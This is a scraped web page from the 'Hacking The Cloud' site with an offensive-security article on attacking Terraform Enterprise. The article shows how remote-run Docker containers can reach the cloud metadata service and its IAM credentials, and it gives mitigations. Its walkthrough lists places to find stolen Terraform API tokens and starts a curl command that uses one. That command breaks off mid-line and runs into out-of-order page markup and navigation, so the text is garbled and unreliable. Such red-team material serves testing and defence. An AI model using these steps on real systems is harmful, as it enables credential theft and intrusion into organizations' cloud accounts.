</li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#remote-code-execution class=md-nav__link> <span class=md-ellipsis> Remote (Code) Execution </span> </a> </li> <li class=md-nav__item> <a href=#docker-containers-and-metadata-services class=md-nav__link> <span class=md-ellipsis> Docker Containers and Metadata Services </span> </a> </li> <li class=md-nav__item> <a href=#attack-prevention class=md-nav__link> <span class=md-ellipsis> Attack Prevention </span> </a> </li> <li class=md-nav__item> <a href=#walkthrough class=md-nav__link> <span class=md-ellipsis> Walkthrough </span> </a> <nav class=md-nav aria-label=Walkthrough> <ul class=md-nav__list> <li class=md-nav__item> <a href=#acquire-a-terraform-api-token class=md-nav__link> <span class=md-ellipsis> Acquire a Terraform API Token </span> </a> </li> <li class=md-nav__item> <a href=#identify-the-organization-and-workspace-names class=md-nav__link> <span class=md-ellipsis> Identify the Organization and Workspace Names </span> </a> </li> <li class=md-nav__item> <a href=#configure-the-remote-backend class=md-nav__link> <span class=md-ellipsis> Configure the Remote Backend </span> </a> </li> <li class=md-nav__item> <a href=#initialize-the-backend class=md-nav__link> <span class=md-ellipsis> Initialize the Backend </span> </a> </li> <li class=md-nav__item> <a href=#executing-code class=md-nav__link> <span class=md-ellipsis> Executing Code </span> </a> </li> <li class=md-nav__item> <a href=#terraform-plan class=md-nav__link> <span class=md-ellipsis> Terraform Plan </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#remote-code-execution class=md-nav__link> <span class=md-ellipsis> Remote (Code) Execution </span> </a> </li> <li class=md-nav__item> <a href=#docker-containers-and-metadata-services class=md-nav__link> <span class=md-ellipsis> Docker Containers and Metadata Services </span> </a> </li> <li class=md-nav__item> <a href=#attack-prevention class=md-nav__link> <span class=md-ellipsis> Attack Prevention </span> </a> </li> <li class=md-nav__item> <a href=#walkthrough class=md-nav__link> <span class=md-ellipsis> Walkthrough </span> </a> <nav class=md-nav aria-label=Walkthrough> <ul class=md-nav__list> <li class=md-nav__item> <a href=#acquire-a-terraform-api-token class=md-nav__link> <span class=md-ellipsis> Acquire a Terraform API Token </span> </a> </li> <li class=md-nav__item> <a href=#identify-the-organization-and-workspace-names class=md-nav__link> <span class=md-ellipsis> Identify the Organization and Workspace Names </span> </a> </li> <li class=md-nav__item> <a href=#configure-the-remote-backend class=md-nav__link> <span class=md-ellipsis> Configure the Remote Backend </span> </a> </li> <li class=md-nav__item> <a href=#initialize-the-backend class=md-nav__link> <span class=md-ellipsis> Initialize the Backend </span> </a> </li> <li class=md-nav__item> <a href=#executing-code class=md-nav__link> <span class=md-ellipsis> Executing Code </span> </a> </li> <li class=md-nav__item> <a href=#terraform-plan class=md-nav__link> <span class=md-ellipsis> Terraform Plan </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/terraform/terraform_enterprise_metadata_service.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Terraform Enterprise: Attack the Metadata Service</h1> <p><a href=https://www.terraform.io/enterprise>Terraform Enterprise</a> is a self-hosted version of Terraform Cloud, allowing organizations to maintain their own private instance of Terraform. There are many benefits for an enterprise to run this, however, there is also a default configuration that Red Teamers and Penetration Testers can potentially take advantage of.</p> <p>If Terraform Enterprise is deployed to a VM from a cloud provider we may be able to access the instance metadata service and leverage those credentials for further attacks.</p> <p>"By default, Terraform Enterprise does not prevent Terraform operations from accessing the instance metadata service, which may contain IAM credentials or other sensitive data" (<a href=https://www.terraform.io/enterprise/system-overview/security-model#restrict-terraform-build-worker-metadata-access>source</a>)</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>While the focus of this article is on targeting the metadata service, it is worth noting that gaining code execution inside a Terraform run may provide other avenues for attack. For example, environment variables could be leaked which may contain sensitive credentials.</p> </div> <h2 id=remote-code-execution>Remote (Code) Execution<a class=headerlink href=#remote-code-execution title="Permanent link">&para;</a></h2> <p>For many engineers, their first experience with Terraform was locally on their workstations. When they invoked a <code>terraform apply</code> or <code>terraform plan</code> all of that activity took place on the local machine (reaching out to cloud APIs, tracking state, etc.)</p> <p>An exciting feature of Terraform Enterprise (and Cloud) is the idea of <a href=https://www.terraform.io/cloud-docs/overview#remote-terraform-execution>Remote Execution</a>, wherein all those operations take place server-side. In Terraform Cloud the execution takes place in "disposable virtual machines". In <a href=https://www.terraform.io/enterprise/install/interactive/installer#alternative-terraform-worker-image>Terraform Enterprise</a> however, it takes place in "disposable Docker containers". </p> <p>This introduces an interesting opportunity; If you compromise credentials to initiate a <code>plan</code> or <code>apply</code> operation (or otherwise have access to them. I.E insider threat) we can execute code in a Docker container on the Terraform Enterprise server.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>It is possible to disable Remote Execution via a configuration however this is <a href=https://www.terraform.io/cloud-docs/run#disabling-remote-operations>discouraged</a>. "Many of Terraform Cloud's features rely on remote execution, and are not available when using local operations. This includes features like Sentinel policy enforcement, cost estimation, and notifications."</p> </div> <h2 id=docker-containers-and-metadata-services>Docker Containers and Metadata Services<a class=headerlink href=#docker-containers-and-metadata-services title="Permanent link">&para;</a></h2> <p>Aside from <a href=https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation>container escapes</a>, running user-supplied code in a container is an interesting opportunity in a cloud context. The specifics will depend upon the cloud provider. For example, in AWS, an attacker could target the <a href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ >Instance Metadata Service</a>. This would provide the attacker IAM credentials for the IAM role associated with the EC2 instance.</p> <p>Other opportunities include things such as the instance <a href=https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ >user data</a>, which may help enumerate what software is on the host, potentially leak secrets, or reveal what the associated IAM role has access to. It is also possible to use this to pivot to other machines in the VPC/subnet which would otherwise be inaccessible, or to attempt to hit services exposed on localhost on the TFE host (hitting 172.17.0.1).</p> <h2 id=attack-prevention>Attack Prevention<a class=headerlink href=#attack-prevention title="Permanent link">&para;</a></h2> <p>It is worth noting that there are two potential methods to mitigate this attack. The first is the configuration of <a href=https://www.terraform.io/enterprise/system-overview/security-model#restrict-terraform-build-worker-metadata-access>restrict_worker_metadata_access</a> in the Terraform Enterprise settings. This is <strong>not</strong> the default, meaning that out of the box Terraform operations have access to the metadata service and its credentials.</p> <p>The second option would depend upon the cloud provider, but options to harden or secure the Metadata Service can also be used. For example, <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html>IMDSv2</a> in an AWS situation would prevent the <a href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ >Docker container from reaching the Metadata Service</a>.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>Nothing should prevent these two methods from working at the same time. It is a good idea to require IMDSv2 of all EC2 instances in your environment.</p> </div> <h2 id=walkthrough>Walkthrough<a class=headerlink href=#walkthrough title="Permanent link">&para;</a></h2> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>This walkthrough and screenshots are not tested against Terraform Enterprise (this is a free/open source project, we don't have access to a Terraform Enterprise instance for demonstration purposes). As such it is being demoed on Terraform Cloud which, while similar, is not a 1-1 copy. If you are attempting to exploit this against your organization's TFE instance, minor tweaks may be needed. (We are open to <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/pulls>Pull Requests</a>!)</p> </div> <div class="admonition note"> <p class=admonition-title>Note</p> <p>If you already have a configured and initialized Terraform backend, you can skip to the <a href=#executing-code>Executing Code</a> section. The following walkthrough will demonstrate the entire process from finding the token to initializing the backend.</p> </div> <h3 id=acquire-a-terraform-api-token>Acquire a Terraform API Token<a class=headerlink href=#acquire-a-terraform-api-token title="Permanent link">&para;</a></h3> <p>To begin, you'll first need to 'acquire' a <a href=https://www.terraform.io/cloud-docs/users-teams-organizations/api-tokens>Terraform API Token</a>. These tokens can be identified by the <code>.atlasv1.</code> substring in them.</p> <p>As for where you would get one, there are a number of possible locations. For example, developer's may have them locally on their workstations in <code>~/.terraform.d/</code>, you may find them in CI/CD pipelines, inappropriately stored in documentation, pull them from a secrets vault, create one with a developer's stolen credentials, etc.</p> <h3 id=identify-the-organization-and-workspace-names>Identify the Organization and Workspace Names<a class=headerlink href=#identify-the-organization-and-workspace-names title="Permanent link">&para;</a></h3> <p>With access to a valid API token, we now need to find an Organization and Workspace we can use to be nefarious. The good news is that this information is queryable using the token. We can use a tool such as <a href=https://stedolan.github.io/jq/ >jq</a> to parse and display the JSON.</p> <div class=highlight><pre><span></span><code>curl -H &quot;Authorization: Bearer $TFE_TOKEN&quot; \
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#remote-code-execution class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> 